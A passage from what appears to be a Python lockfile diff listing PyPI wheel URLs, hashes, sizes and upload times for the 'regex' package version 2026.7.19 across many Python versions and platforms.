"https://files.pythonhosted.org/packages/a3/19/783688e75a2bec15d50aec0d5e7e317d363808bc82a6eb6750b897bfcd7b/regex-2026.7.19-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:343a4504e3fb688c47cad451221ca5d4814f42b1e16c0065bde9cbf7f473bd52", size = 295287, upload-time = "2026-07-19T00:16:15.702Z" }, + { url = "https://files.pythonhosted.org/packages/16/01/cefe4f051302ca298d3f3e79ed6dbd933ac84485b9515acdd6a52d70cef7/regex-2026.7.19-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5ebee1ee89c39c953baac6924fcde08c5bb427c4057510862f9d7c7bdb3d8665", size = 290633, upload-time = "2026-07-19T00:16:17.182Z" }, + { url = "https://files.pythonhosted.org/packages/ae/1e/1045ca2cabb12e8ec41ad0d138e9f3ff1eb079d30a6f51ccf7d709b44aad/regex-2026.7.19-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:062f8cb7a9739c4835d22bd96f370c59aba89f257adcfa53be3cc209e08d3ae0", size = 785300, upload-time = "2026-07-19T00:16:18.505Z" }, + { url = "https://files.pythonhosted.org/packages/d5/4a/20e5bca184e90bf1bd187efdb53363f4a7b7b34f01d54ced5740caf104bd/regex-2026.7.19-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1123ef4211d763ee771d47916a1596e2f4915794f7aabdc1adcb20e4249a6951", size = 854079, upload-time = "2026-07-19T00:16:19.909Z" }, + { url = "https://files.pythonhosted.org/packages/09/9b/5a2e59678be3b24aa6a42b2c6d66a48daa212593e9f4096fe7ba577fa9b1/regex-2026.7.19-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:6e44c0e7c5664be20aee92085153150c0a7967310a73a43c0f832b7cd35d0dd3", size = 899496, upload-time = "2026-07-19T00:16:21.453Z" }, + { url = "https://files.pythonhosted.org/packages/48/9a/7317f14ed8ed9fd998d1978b4802b07bc4d79216353c435dbcc1ddd1301f/regex-2026.7.19-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98c6ac18480fcdb33f35439183f1d2e79760ab41930309c6d951cb1f8e46694c", size = 793541, upload-time = "2026-07-19T00:16:22.991Z" }, + { url = "https://files.pythonhosted.org/packages/6f/53/833c2db3e274d3c191f4c42fe5bfa358e4c8b617d5d7312d31334965fc46/regex-2026.7.19-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4458124d71339f505bf1fb94f69fd1bb8fa9d2481eebfef27c10ef4f2b9e12f6", size = 785515, upload-time = "2026-07-19T00:16:24.654Z" }, + { url = "https://files.pythonhosted.org/packages/8d/b9/efb2f9fa151d71db09d4015e1fb92fee47416f01c12164836bbd23e2f3c2/regex-2026.7.19-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fbf300e2070bb35038660b3be1be4b91b0024edb41517e6996320b49b92b4175", size = 769556, upload-time = "2026-07-19T00:16:26.207Z" }, + { url = "https://files.pythonhosted.org/packages/81/4d/45610c263f8eadb84e4a1fabd904d81d5176226faa9104ef498bf8a8b285/regex-2026.7.19-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b2b506b1788df5fecd270a10d5e70a95fe77b87ea2b370a318043f6f5f817ee6", size = 774130, upload-time = "2026-07-19T00:16:27.786Z" }, + { url = "https://files.pythonhosted.org/packages/40/95/1b40d87c7a9e5480bec7a87bce9fd67fc3f14b5f106c8ee66d660249072f/regex-2026.7.19-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:52579c60a6078be70a0e49c81d6e56d677f34cd439af281a0083b8c7bc75c095", size = 848694, upload-time = "2026-07-19T00:16:29.412Z" }, + { url = "https://files.pythonhosted.org/packages/17/8b/bb45968addd5b394ef9cd9184bd9c65ade1a819dbb2b92b71ad52a0c7907/regex-2026.7.19-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:2955907b7157a6660f27079edf7e0229e9c9c5325c77a2ef6a890cba91efa6f0", size = 758505, upload-time = "2026-07-19T00:16:31.006Z" }, + { url = "https://files.pythonhosted.org/packages/bf/6f/33386c672fbf43e21602135a0f29a97ee251a483f007fe51d10e9b2dbc93/regex-2026.7.19-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:89dfee3319f5ae3f75ebd5c2445a809bb320252ba5529ffdafea4ef25d79cf1a", size = 836985, upload-time = "2026-07-19T00:16:32.459Z" }, + { url = "https://files.pythonhosted.org/packages/22/f1/9112b86e9bb075619862e8e42b604794389f1958faa68fb69bde505dd90e/regex-2026.7.19-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3d3143f159261b1ce5b24c261c590e5913370c3200c5e9ebbb92b5aa5e111902", size = 782610, upload-time = "2026-07-19T00:16:33.857Z" }, + { url = "https://files.pythonhosted.org/packages/3a/f9/13d460d8a385ca0b0be9e6be80a90968b9293b3e30895543ad2d1d1653e4/regex-2026.7.19-cp310-cp310-win32.whl", hash = "sha256:64729333167c2dcaaa56a331d40ee097bd9c5617ffd51dabb09eaddafb1b532e", size = 266772, upload-time = "2026-07-19T00:16:35.194Z" }, + { url = "https://files.pythonhosted.org/packages/9f/90/29addd7a03e1aea402c1f31467e25c80caabc8c3735b88a23cf73b0aa9c2/regex-2026.7.19-cp310-cp310-win_amd64.whl", hash = "sha256:1c398716054621aa300b3d411f467dda903806c5da0df6945ab73982b8d115db", size = 277967, upload-time = "2026-07-19T00:16:36.847Z" }, + { url = "https://files.pythonhosted.org/packages/8c/ba/ecfce06fe66c122bc6f77ae284887a9282e4411fe1e6268c5266611ca054/regex-2026.7.19-cp310-cp310-win_arm64.whl", hash = "sha256:064f1760a5a4ade65c5419be23e782f29147528e8a66e0c42dd4cedb8d4e9fc6", size = 276963, upload-time = "2026-07-19T00:16:38.315Z" }, + { url = "https://files.pythonhosted.org/packages/05/e5/cef4de2bac939280b68d32adc659478845238a8274f2f79c465063f590ad/regex-2026.7.19-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:ac777001cdfc28b72477d93c8564bb7583081ea8fb45cdca3d568e0a4f87183c", size = 494012, upload-time = "2026-07-19T00:16:39.927Z" }, + { url = "https://files.pythonhosted.org/packages/ff/87/e86f51eb117457bb7803132ffe5cb6e2841e2b5bea4cc85d397f3c6e257d/regex-2026.7.19-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:59787bd5f8c70aa339084e961d2996b53fbdeab4d5393bba5c1fe1fc32e02bae", size = 295281, upload-time = "2026-07-19T00:16:41.433Z" }, + { url = "https://files.pythonhosted.org/packages/41/2e/2360c41d8080a3d9ec7e5c90fad6eab3b50192869d10e9a5609e48c8177b/regex-2026.7.19-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:90c633e7e8d6bf4e992b8b36ce69e018f834b641dd6de8cea6d78c06ffa119c5", size = 290615, upload-time = "2026-07-19T00:16:43.058Z" }, + { url = "https://files.pythonhosted.org/packages/cf/69/b65ba4344efbc771b28fe5dde84cbbb6c8f9551165952fe78def5b9dde6a/regex-2026.7.19-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:87ccab0db8d5f4fbb0272642113c1adb2ffc698c16d3a0944580222331fa7a20", size = 791804, upload-time = "2026-07-19T00:16:44.662Z" }, + { url = "https://files.pythonhosted.org/packages/81/b6/a40dfa0dc6224b36f620c00296eacc830489cbf8c2837b6750dfe6170375/regex-2026.7.19-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9e50d748a32da622f256e8d505867f5d3c43a837c6a9f0efb149655fadd1042a", size = 861723, upload-time = "2026-07-19T00:16:46.412Z" }, + { url = "https://files.pythonhosted.org/packages/e3/02/735991dee71abd83196a7962f7ed8bf5aa05720ff06e2d3ff896a85e2bbb/regex-2026.7.19-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bf1516fe58fc104f39b2d1dbe2d5e27d0cd45c4be2e42ba6ee0cc763701ec3c7", size = 905932, upload-time = "2026-07-19T00:16:47.956Z" }, + { url = "https://files.pythonhosted.org/packages/45/6c/e7098d8b846ccdbf431d8c081b61e496526a27a28094ed09e0dce21b3f54/regex-2026.7.19-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:09f3e5287f94f17b709dc9a9e70865855feee835c861613be144218ce4ca82cc", size = 801407, upload-time = "2026-07-19T00:16:49.43Z" }, + { url = "https://files.pythonhosted.org/packages/8a/18/34b69274e2649bcc7d9b089c2b2983fb2632d8ecf667e359593be9072e79/regex-2026.7.19-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6383cd2ed53a646c659ba1fe65727db76437fdaa069e697a0b44a51d5843d864", size = 774448, upload-time = "2026-07-19T00:16:51.352Z" }, + { url = "https://files.pythonhosted.org/packages/bb/e6/0a72247d025585fd3800b98e040b84d562a88af6303347100484849f4f01/regex-2026.7.19-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:09d3007fc76249a83cdd33de160d50e6cb77f54e09d8fa9e7148e10607ce24af", size = 783297, upload-time = "2026-07-19T00:16:53.071Z" }, + { url = "https://files.pythonhosted.org/packages/b1/aa/c4f65ae7dd02a36b323a70c4cff326e1f3442361aaebc9311100a130d54f/regex-2026.7.19-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:6f8c6e7a1cfa3dc9d0ee2de0e65e834537fa29992cc3976ffec914afc35c5dd5", size = 854736, upload-time = "2026-07-19T00:16:54.607Z" }, + { url = "https://files.pythonhosted.org/packages/62/c3/668082bcc817b9e694189b84997aeba7385b7779faa6711788679c482e35/regex-2026.7.19-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:b2ea4a3e8357be8849e833beeae757ac3c7a6b3fc055c03c808a53c91ad30d82", size = 763298, upload-time = "2026-07-19T00:16:56.289Z" }, + { url = "https://files.pythonhosted.org/packages/4b/fb/2d07ad555e7af88aa5f867fdafa47a8d945ee237c20af3ebceb46a820835/regex-2026.7.19-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:80115dd39481fd3a4b4080220799dbcacb921a844de4b827264ececacbe17c78", size = 844430, upload-time = "2026-07-19T00:16:57.933Z" }, + { url = "https://files.pythonhosted.org/packages/51/15/c82a471fe3dce56f03745635b43aa456c40dc0db089e07ef148b331507d1/regex-2026.7.19-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:d6ce43a0269d68cee79a7d1ade7def53c20f8f2a047b92d7b5d5bcc73ae88327", size = 789683, upload-time = "2026-07-19T00:16:59.583Z" }, + { url = "https://files.pythonhosted.org/packages/b5/f4/7532a2c59d56f5398902c20de60f0c9a5d1cd364e42a051b48e1b210be7b/regex-2026.7.19-cp311-cp311-win32.whl", hash = "sha256:9be2a6647740dd3cca6acb24e87f03d7632cd280dbce9bbe40c26353a215a45d", size = 266778, upload-time = "2026-07-19T00:17:01.032Z" }, + { url = "https://files.pythonhosted.org/packages/83/2b/cf1bc631db154eb95520d9d5dbc2371ff77a0f014bbf7d748fed8496aa63/regex-2026.7.19-cp311-cp311-win_amd64.whl", hash = "sha256:8d3469c91dd92ee41b7c95280edbd975ef1ba9195086686623a1c6e8935ce965", size = 277983, upload-time = "2026-07-19T00:17:02.571Z" }, + { url = "https://files.pythonhosted.org/packages/8d/bd/56ceaf170e875d5a6761bf2bfd0d040f1cacc896850d5e40cb29b11bbd06/regex-2026.7.19-cp311-cp311-win_arm64.whl", hash = "sha256:36aacfb15faaff3ced55afbf35ec72f50d4aee22082c4f7fe0573a33e2fca92e", size = 276961, upload-time = "2026-07-19T00:17:04.135Z" }, + { url = "https://files.pythonhosted.org/packages/3b/b9/d11d7e501ac8fd7d617684423ebb9561e0b998481c1e4cbc0cb212c5d74a/regex-2026.7.19-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:2cc3460cedf7579948486eab03bc9ad7089df4d7281c0f47f4afe03e8d13f02d", size = 496778, upload-time = "2026-07-19T00:17:05.677Z" }, + { url = "https://files.pythonhosted.org/packages/3f/a9/a5ab6f312f24318019170dc485d5421fe4f89e43a98640da50d95a8a7041/regex-2026.7.19-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:0e9554c8785eac5cffe6300f69a91f58ba72bc88a5f8d661235ad7c6aa5b8ccd", size = 297122, upload-time = "2026-07-19T00:17:07.59Z" }, + { url = "https://files.pythonhosted.org/packages/b3/63/4cab4d7f2d384a144d420b763d97674cb70619c878ea6fcd7640d0e62143/regex-2026.7.19-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:d7da47a0f248977f08e2cb659ff3c17ddc13a4d39b3a7baa0a81bf5b415430f6", size = 292009, upload-time = "2026-07-19T00:17:09.648Z" }, + { url = "https://files.pythonhosted.org/packages/22/85/102a81b218298957d4ea7d2f084fae537a71add9d6ff93c8e67284c5f45e/regex-2026.7.19-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:93db40c8de0815baab96a06e08a984bac71f989d13bab789e382158c5d426797", size = 796708, upload-time = "2026-07-19T00:17:11.542Z" }, + { url = "https://files.pythonhosted.org/packages/78/b5/dc136af5629938a037cd2b304c12240e132ec92f38be8ff9cc89af2a1f2d/regex-2026.7.19-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:66bd62c59a5427746e8c44becae1d9b99d22fb13f30f492083dfb9ad7c45cc18", size = 865651, upload-time = "2026-07-19T00:17:13.312Z" }, + { url = "https://files.pythonhosted.org/packages/e0/75/67402ae3cd9c8c988a4c805d15ee3eef015e7ca4cb112cf3e640fc1f4153/regex-2026.7.19-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1649eb39fcc9ea80c4d2f110fde2b8ab2aef3877b98f02ab9b14e961f418c511", size = 911756, upload-time = "2026-07-19T00:17:15.015Z" }, + { url = "https://files.pythonhosted.org/packages/2a/8e/096d00c7c480ef2ff4265349b14e2261d4ab787ba1f74e2e80d1c58079c3/regex-2026.7.19-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9dce8ec9695f531a1b8a6f314fd4b393adcccf2ea861db480cdf97a301d01a68", size = 801798, upload-time = "2026-07-19T00:17:17.208Z" }, + { url = "https://files.pythonhosted.org/packages/f0/41/e7ecac6edb5722417f85cc67eaf386322fbe8acf6918ec2fdc37c20dd9d0/regex-2026.7.19-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3080a7fd38ef049bd489e01c970c97dd84ff446a885b0f1f6b26d9b1ad13ce11", size = 776933, upload-time = "2026-07-19T00:17:19.347Z" }, + { url = "https://files.pythonhosted.org/packages/6f/69/03c9b3f058d66403e0ca2c938696e81d51cd4c6d47ec5265f02f96948d9a/regex-2026.7.19-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1d793a7988e04fcb1e2e135567443d82173225d657419ec09414a9b5a145b986", size = 784338, upload-time = "2026-07-19T00:17:21.057Z" }, + { url = "https://files.pythonhosted.org/packages/f6/f7/b38ab3d43f284afbb618fcd15d0e77eb786ae461ce1f6bc7494619ddc0f2/regex-2026.7.19-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:e8b0abe7d870f53ca5143895fef7d1041a0c831a140d3dc2c760dd7ba25d4a8b", size = 860452, upload-time = "2026-07-19T00:17:23.119Z" }, + { url = "https://files.pythonhosted.org/packages/15/5c/ff60ef0571121714f3cf9920bc183071e384a10b556d042e0fdb06cc07a5/regex-2026.7.19-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:4e5413bd5f13d3a4e3539ca98f70f75e7fca92518dd7f117f030ebedd10b60cb", size = 765958, upload-time = "2026-07-19T00:17:24.81Z" }, + { url = "https://files.pythonhosted.org/packages/aa/0f/bd34021162c0ab47f9a315bd56cd5642e920c8e5668a75ef6c6a6fca590d/regex-2026.7.19-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:73b133a9e6fb512858e7f065e96f1180aa46646bc74a83aea62f1d314f3dd035", size = 851765, upload-time = "2026-07-19T00:17:26.993Z" }, + { url = "https://files.pythonhosted.org/packages/2a/20/a2ca43edade0595cccfdc98636739f536d9e26898e7dbddc2b9e98898953/regex-2026.7.19-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:dbe6493fbd27321b1d1f2dd4f5c7e5bd4d8b1d7cab7f32fd67db3d0b2ed8248a", size = 789714, upload-time = "2026-07-19T00:17:28.699Z" }, + { url = "https://files.pythonhosted.org/packages/5d/47/e02db4015d424fc83c00ea0ac8c5e5ec14397943de9abf909d5ce3a25931/regex-2026.7.19-cp312-cp312-win32.whl", hash = "sha256:ddd67571c10869f65a5d7dde536d1e066e306cc90de57d7de4d5f34802428bb5", size = 267157, upload-time = "2026-07-19T00:17:31.051Z" }, + { url = "https://files.pythonhosted.org/packages/08/8e/c780c131f79b42ed22d1bd7da4096c2c35f813e835acd02ef0f018bd892c/regex-2026.7.19-cp312-cp312-win_amd64.whl", hash = "sha256:e30d40268a28d54ce0437031750497004c22602b8e3ab891f759b795a003b312", size = 277777, upload-time = "2026-07-19T00:17:32.848Z" }, + { url = "https://files.pythonhosted.org/packages/3e/4c/e4d7e086449bdf379d89774bf1f89dc4a41943f3c5a6125a03905b34b5fb/regex-2026.7.19-cp312-cp312-win_arm64.whl", hash = "sha256:de9208bb427130c82a5dbfd104f92c8876fc9559278c880b3002755bbbe9c83d", size = 277136, upload-time = "2026-07-19T00:17:34.803Z" }, + { url = "https://files.pythonhosted.org/packages/5d/3d/84165e4299ff76f3a40fe1f2abf939e976f693383a08d2beea6af62bd2c1/regex-2026.7.19-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f035d9dc1d25eff9d361456572231c7d27b5ccd473ca7dc0adfce732bd006d40", size = 496552, upload-time = "2026-07-19T00:17:36.808Z" }, + { url = "https://files.pythonhosted.org/packages/02/a2/a65293e6e4cf28eb7ee1be5335a5386c40d6742e9f47fafc8fec785e16c7/regex-2026.7.19-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:c42572142ed0b9d5d261ba727157c426510da78e20828b66bbb855098b8a4e38", size = 296983, upload-time = "2026-07-19T00:17:38.816Z" }, + { url = "https://files.pythonhosted.org/packages/95/47/2d0564e93d87bc48618360ddca232a2ca612bbdf53ce8465d45ca5ce14ee/regex-2026.7.19-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:40b34dd88658e4fedd2fddbf0275ac970d00614b731357f425722a3ed1983d11", size = 291832, upload-time = "2026-07-19T00:17:40.726Z" }, + { url = "https://files.pythonhosted.org/packages/07/cd/42dfbabff3dfc9603c501c0e2e2c5adbb09d127b267bf5348de0af338c15/regex-2026.7.19-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0c41c63992bf1874cebb6e7f56fd7d3c007924659a604ae3d90e427d40d4fd13", size = 796775, upload-time = "2026-07-19T00:17:42.382Z" }, + { url = "https://files.pythonhosted.org/packages/df/5d/f6a4839f2b934e3eed5973fd07f5929ee97d4c98939fb275ea23c274ee16/regex-2026.7.19-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1d3372064506b94dd2c67c845f2db8062e9e9ba84d04e33cb96d7d33c11fe1ae", size = 865687, upload-time = "2026-07-19T00:17:44.185Z" }, + { url = "https://files.pythonhosted.org/packages/14/b0/b47d6c36049bc59806a50bd4c86ced70bbe058d787f80281b1d7a9b0e024/regex-2026.7.19-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fce7760bf283405b2c7999cab3da4e72f7deca6396013115e3f7a955db9760da", size = 911962, upload-time = "2026-07-19T00:17:46.442Z" }, + { url = "https://files.pythonhosted.org/packages/2a/be/ff61f28f9273658cfe23acbbac5217221f6519960ed401e61dfdab12bc35/regex-2026.7.19-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c0d702548d89d572b2929879bc883bb7a4c4709efafe4512cadee56c55c9bd15", size = 801817, upload-time = "2026-07-19T00:17:48.25Z" }, + { url = "https://files.pythonhosted.org/packages/c3/bb/8b4f7f26b333f9f79e1b453613c39bb4776f51d38ae66dd0ba31d6b354ca/regex-2026.7.19-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d446c6ac40bb6e05025ccee55b84d80fe9bf8e93010ffc4bb9484f13d498835f", size = 776908, upload-time = "2026-07-19T00:17:50.183Z" }, + { url = "https://files.pythonhosted.org/packages/09/13/610110fc5921d380516d03c26b652555f08aa0d23ea78a771231873c3638/regex-2026.7.19-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4c3501bfa814ab07b5580741f9bf78dfdfe146a04057f82df9e2402d2a975939", size = 784426, upload-time = "2026-07-19T00:17:52.454Z" }, + { url = "https://files.pythonhosted.org/packages/ca/f5/1ef9e2a83a5947c57ebff0b377cb5727c3d5ec1992317a320d035cd0dbb6/regex-2026.7.19-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:c4585c3e64b4f9e583b4d2683f18f5d5d872b3d71dcf24594b74ecc23602fa96", size = 860600, upload-time = "2026-07-19T00:17:54.229Z" }, + { url = "https://files.pythonhosted.org/packages/a0/02/073af33a3ec149241d11c80acea91e722aa0adbf05addd50f251c4fe89c3/regex-2026.7.19-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:571fde9741eb0ccde23dd4e0c1d50fbae910e901fa7e629faf39b2dda740d220", size = 765950, upload-time = "2026-07-19T00:17:56.041Z" }, + { url = "https://files.pythonhosted.org/packages/81/a9/d1e9f819dc394a568ef370cd56cf25394e957a2235f8370f23b576e5a475/regex-2026.7.19-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:15b364b9b98d6d2fe1a85034c23a3180ff913f46caddc3895f6fd65186255ccc", size = 851794, upload-time = "2026-07-19T00:17:57.897Z" }, + { url = "https://files.pythonhosted.org/packages/03/3a/8ae83eda7579feacdf984e71fb9e70635fb6f832eeddca58427ec4fca926/regex-2026.7.19-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ffd8893ccc1c2fce6e0d6ca402d716fe1b29db70c7132609a05955e31b2aa8f2", size = 789845, upload-time = "2026-07-19T00:17:59.97Z" }, + { url = "https://files.pythonhosted.org/packages/4b/23/c195cbfe5a75fdec64d8f6554fd15237b837919d2c61bdc141d7c807b08b/regex-2026.7.19-cp313-cp313-win32.whl", hash = "sha256:f0fa4fa9c3632d708742baf2282f2055c11d888a790362670a403cbf48a2c404", size = 267135, upload-time = "2026-07-19T00:18:01.958Z" }, + { url = "https://files.pythonhosted.org/packages/b2/80/a11de8404b7272b70acb45c1c05987cce60b45d5693da2e176f0e390d564/regex-2026.7.19-cp313-cp313-win_amd64.whl", hash = "sha256:d51ffd3427640fa2da6ade574ceba932f210ad095f65fcc450a2b0a0d454868e", size = 277747, upload-time = "2026-07-19T00:18:04.121Z" }, + { url = "https://files.pythonhosted.org/packages/d1/29/0f5c8eff1b4f1f3d83276d365fccecf666afcc7d947420943bf394d07adb/regex-2026.7.19-cp313-cp313-win_arm64.whl", hash = "sha256:c670fe7be5b6020b76bc6e8d2196074657e1327595bca93a389e1a76ab130ad8", size = 277129, upload-time = "2026-07-19T00:18:05.821Z" }, + { url = "https://files.pythonhosted.org/packages/dc/4c/44b74742052cedda40f9ae469532a037112f7311a36669a891fba8984bb0/regex-2026.7.19-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:db47b561c9afd884baa1f96f797c9ca369872c4b65912bc691cfa99e68340af2", size = 501134, upload-time = "2026-07-19T00:18:07.567Z" }, + { url = "https://files.pythonhosted.org/packages/f0/45/bbd038b5e39ee5613a5a689290145b40058cc152c41de9cc23639d2b9734/regex-2026.7.19-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:65dcd28d3eba2ab7c2fd906485cc301392b47cc2234790d27d4e4814e02cdfda", size = 299418, upload-time = "2026-07-19T00:18:09.38Z" }, + { url = "https://files.pythonhosted.org/packages/65/38/c5bde94b4cedfd5850d64c3f08222d8e1600e84f6ee71d9b44b4b8163f74/regex-2026.7.19-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:f2e7f8e2ab6c2922be02c7ec45185aa5bd771e2e57b95455ee343a44d8130dff", size = 294486, upload-time = "2026-07-19T00:18:11.188Z" }, + { url = "https://files.pythonhosted.org/packages/d7/6a/2f5e107cb26c960b781967178899daf2787a7ab151844ed3c01d6fc95474/regex-2026.7.19-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fe31f28c94402043161876a258a9c6f757cb485905c7614ce8d6cd40e6b7bdc1", size = 811643, upload-time = "2026-07-19T00:18:12.975Z" }, + { url = "https://files.pythonhosted.org/packages/37/d4/a2f963406d7d73a62eed84ba05a258afb6cad1b21aa4517443ce40506b78/regex-2026.7.19-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f8f6fa298bb4f7f58a33334406218ba74716e68feddf5e4e54cd5d8082705abf", size = 871081, upload-time = "2026-07-19T00:18:14.733Z" }, + { url = "https://files.pythonhosted.org/packages/45/a3/44be546340bedb15f13063f5e7fe16793ea4d9ea2e805d09bd174ac27724/regex-2026.7.19-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:cc1b2440423a851fad781309dd87843868f4f66a6bcd1ddb9225cf4ec2c84732", size = 917372, upload-time = "2026-07-19T00:18:16.724Z" }, + { url = "https://files.pythonhosted.org/packages/f8/f6/e0870b0fd2a40dba0074e4b76e514b21313d37946c9248453e34ec43923e/regex-2026.7.19-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8ac59a0900474a52b7c04af8196affc22bd9842acb0950df12f7b813e983609a", size = 816089, upload-time = "2026-07-19T00:18:18.617Z" }, + { url = "https://files.pythonhosted.org/packages/ae/27/957e8e22690ad6634572b39b71f130a6105f4d0718bb16849eac00fff147/regex-2026.7.19-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4896db1f4ce0576765b8272aa922df324e0f5b9bb2c3d03044ff32a7234a9aba", size = 785206, upload-time = "2026-07-19T00:18:20.464Z" }, + { url = "https://files.pythonhosted.org/packages/76/a4/186e410941e731037c01166069ab86da9f65e8f8110c18009ccf4bd623ee/regex-2026.7.19-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:4e6883a021db30511d9fb8cfb0f222ce1f2c369f7d4d8b0448f449a93ba0bdfc", size = 800431, upload-time = "2026-07-19T00:18:22.716Z" }, + { url = "https://files.pythonhosted.org/packages/73/9f/e4e10e023d291d64a33e246610b724493bf1ce98e0e59c9b7c837e5acfb7/regex-2026.7.19-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:09523a592938aa9f587fb74467c63ff0cf88fc3df14c82ab0f0517dcf76aaa62", size = 864906, upload-time = "2026-07-19T00:18:24.772Z" }, + { url = "https://files.pythonhosted.org/packages/24/57/ccb20b6be5f1f52a053d1ba2a8f7a077edb9d918248b8490d7506c6832b3/regex-2026.7.19-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:1ebac3474b8589fce2f9b225b650afd61448f7c73a5d0255a10cc6366471aed1", size = 773559, upload-time = "2026-07-19T00:18:27.008Z" }, + { url = "https://files.pythonhosted.org/packages/a3/82/f3b263cf8fad927dc102891da8502e718b7ff9d19af7a2a07c03865d7188/regex-2026.7.19-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:4a0530bb1b8c1c985e7e2122e2b4d3aedd8a3c21c6bfddae6767c4405668b56e", size = 857739, upload-time = "2026-07-19T00:18:29.107Z" }, + { url = "https://files.pythonhosted.org/packages/47/2e/1687bd1b6c2aed5e672ccf845fc11557821fe7366d921b50889ea5ce57bf/regex-2026.7.19-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:2ef7eeb108c47ce7bcc9513e51bcb1bf57e8f483d52fce68a8642e3527141ae0", size = 804522, upload-time = "2026-07-19T00:18:31.362Z" }, + { url = "https://files.pythonhosted.org/packages/76/7c/cc4e7655181b2d9235b704f2c5e19d8eff002bbc437bae59baee0e381aca/regex-2026.7.19-cp313-cp313t-win32.whl", hash = "sha256:64b6ca7391a1395c2638dd5c7456d67bea44fc6c5e8e92c5dc8aa6a8f23292b4", size = 269141, upload-time = "2026-07-19T00:18:33.479Z" }, + { url = "https://files.pythonhosted.org/packages/bb/14/961b4c7b05a2391c32dbc85e27773076671ef8f97f36cec70fe414734c02/regex-2026.7.19-cp313-cp313t-win_amd64.whl", hash = "sha256:f04b9f56b0e0614c0126be12c2c2d9f8850c1e57af302bd0a63bed379d4af974", size = 280036, upload-time = "2026-07-19T00:18:35.419Z" }, + { url = 